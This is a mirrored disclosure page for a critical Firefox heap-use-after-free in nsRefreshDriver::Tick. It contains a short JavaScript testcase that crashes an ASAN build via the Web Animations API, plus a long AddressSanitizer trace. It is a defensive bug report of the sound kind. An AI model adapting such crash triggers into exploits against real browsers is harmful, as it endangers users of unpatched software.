Skip to content
Memory corruption Disclosed report

heap-use-after-free in nsRefreshDriver::Tick

Nils Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 32 days
  • Paid in 26 days
  • Disclosed after 32 days

The following testcase crashes the latest ASAN build of Firefox (buildId 20160531170040). Requires the fuzzPriv extension (https://github.com/MozillaSecurity/funfuzz/tree/master/dom/extension). Might take a few reloads

Testcase:

<script> function start() { t={}; let t1 = window.t1; let t2 = window.t2; t.o0=window.document; t.o2=document.body; t.o40=t.o2.animate([{marks: 'crop'},{marks: 'crop'}],12); t.o0.write('<html><body></body></html>'); setTimeout(t1.bind(t),4); setTimeout(t2.bind(t),5); } function t1() { this.o40.play(); } function t2() { this.o40['timeline']=undefined; fuzzPriv.forceGC(); window.top.setTimeout('location.reload()',40);; } </script> <body onload="start()"></body>

ASAN output:

================================================================= ==19706==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e00009cd58 at pc 0x7f69813be76f bp 0x7ffef910da90 sp 0x7ffef910da88 READ of size 8 at 0x60e00009cd58 thread T0 (Web Content) #0 0x7f69813be76e in AddRef /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:36 #1 0x7f69813be76e in AddRef /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:374 #2 0x7f69813be76e in GetNext /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:110 #3 0x7f69813be76e in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:1700 #4 0x7f69813c912b in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:246 #5 0x7f69813c8d10 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:265 #6 0x7f69813c81f4 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:425 #7 0x7f6981d01700 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/ipc/VsyncChild.cpp:64 #8 0x7f697bb779ca in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:240 #9 0x7f697b696c81 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1968 #10 0x7f697b5ca873 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1657 #11 0x7f697b5c75d5 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1595 #12 0x7f697b5b4715 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1562 #13 0x7f697b5da720 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:715 #14 0x7f697b5da720 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:721 #15 0x7f697b5da720 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:749 #16 0x7f697b5db1ef in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:477 #17 0x7f697b5db1ef in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:496 #18 0x7f697a840274 in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029 #19 0x7f697a8bacda in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #20 0x7f697b5d1d9e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:100 #21 0x7f697b5424cc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #22 0x7f697b5424cc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #23 0x7f697b5424cc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #24 0x7f6980d3f057 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #25 0x7f6982d62862 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:827 #26 0x7f697b5424cc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #27 0x7f697b5424cc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #28 0x7f697b5424cc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #29 0x7f6982d61f40 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:657 #30 0x48dbf7 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231 #31 0x7f69780a182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #32 0x48cb3c in _start (/home/nils/fuzzer3/firefox/plugin-container+0x48cb3c)

0x60e00009cd58 is located 120 bytes inside of 152-byte region [0x60e00009cce0,0x60e00009cd78) freed by thread T0 (Web Content) here: #0 0x474f51 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64 #1 0x7f697a720d98 in SnowWhiteKiller::~SnowWhiteKiller() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2687 #2 0x7f697a7209be in nsCycleCollector::FreeSnowWhite(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2861 #3 0x7f697c17b929 in AsyncFreeSnowWhite::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/xpconnect/src/XPCJSRuntime.cpp:155 #4 0x7f697a840274 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029 #5 0x7f697a8bacda in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #6 0x7f697b5d1d9e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:100 #7 0x7f697b5424cc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #8 0x7f697b5424cc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #9 0x7f697b5424cc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #10 0x7f6980d3f057 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #11 0x7f6982d62862 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:827 #12 0x7f697b5424cc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #13 0x7f697b5424cc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #14 0x7f697b5424cc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #15 0x7f6982d61f40 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:657 #16 0x48dbf7 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231 #17 0x7f69780a182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 (Web Content) here: #0 0x475151 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74 #1 0x48e3fd in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:83 #2 0x7f697d42b196 in operator new /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:193 #3 0x7f697d42b196 in nsDocument::Timeline() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsDocument.cpp:3245 #4 0x7f69816711b3 in PresShell::Init(nsIDocument*, nsPresContext*, nsViewManager*, mozilla::StyleSetHandle) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsPresShell.cpp:966 #5 0x7f697d431f2d in nsDocument::doCreateShell(nsPresContext*, nsViewManager*, mozilla::StyleSetHandle) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsDocument.cpp:3835 #6 0x7f697f954b17 in nsHTMLDocument::CreateShell(nsPresContext*, nsViewManager*, mozilla::StyleSetHandle) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/nsHTMLDocument.cpp:274 #7 0x7f69815d3896 in nsDocumentViewer::InitPresentationStuff(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsDocumentViewer.cpp:632 #8 0x7f69815d2e61 in nsDocumentViewer::InitInternal(nsIWidget*, nsISupports*, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, bool, bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsDocumentViewer.cpp:886 #9 0x7f69815d2197 in nsDocumentViewer::Init(nsIWidget*, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsDocumentViewer.cpp:616 #10 0x7f698231c4e0 in nsDocShell::SetupNewViewer(nsIContentViewer*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/docshell/base/nsDocShell.cpp:9297 #11 0x7f698231add7 in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/docshell/base/nsDocShell.cpp:7164 #12 0x7f69822b7a03 in nsDocShell::CreateContentViewer(nsACString_internal const&, nsIRequest*, nsIStreamListener**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/docshell/base/nsDocShell.cpp:9105 #13 0x7f69822b5035 in nsDSURIContentListener::DoContent(nsACString_internal const&, bool, nsIRequest*, nsIStreamListener**, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/docshell/base/nsDSURIContentListener.cpp:129 #14 0x7f697c5f1bc2 in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/uriloader/base/nsURILoader.cpp:720 #15 0x7f697c5edc2b in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/uriloader/base/nsURILoader.cpp:398 #16 0x7f697c5ec8c6 in nsDocumentOpenInfo::OnStartRequest(nsIRequest*, nsISupports*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/uriloader/base/nsURILoader.cpp:259 #17 0x7f697a9bc29b in nsBaseChannel::OnStartRequest(nsIRequest*, nsISupports*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/netwerk/base/nsBaseChannel.cpp:807 #18 0x7f697aa04eed in nsInputStreamPump::OnStateStart() /builds/slave/m-cen-l64-asan-000000000000000/build/src/netwerk/base/nsInputStreamPump.cpp:525 #19 0x7f697aa044f2 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/netwerk/base/nsInputStreamPump.cpp:427 #20 0x7f697a7fb269 in nsInputStreamReadyEvent::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/io/nsStreamUtils.cpp:95 #21 0x7f697a840274 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1029 #22 0x7f697a8bacda in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #23 0x7f697b5d1d9e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:100 #24 0x7f697b5424cc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #25 0x7f697b5424cc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #26 0x7f697b5424cc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #27 0x7f6980d3f057 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #28 0x7f6982d62862 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:827 #29 0x7f697b5424cc in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #30 0x7f697b5424cc in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #31 0x7f697b5424cc in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #32 0x7f6982d61f40 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:657 #33 0x48dbf7 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231 #34 0x7f69780a182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:36 AddRef Shadow bytes around the buggy address: 0x0c1c8000b950: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c1c8000b960: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c8000b970: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c1c8000b980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c8000b990: 00 00 00 02 fa fa fa fa fa fa fa fa fd fd fd fd =>0x0c1c8000b9a0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fa 0x0c1c8000b9b0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1c8000b9c0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c1c8000b9d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c8000b9e0: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 0x0c1c8000b9f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: ==19706==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in DOM: Animation. Mozilla made it public on 3 July 2016.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.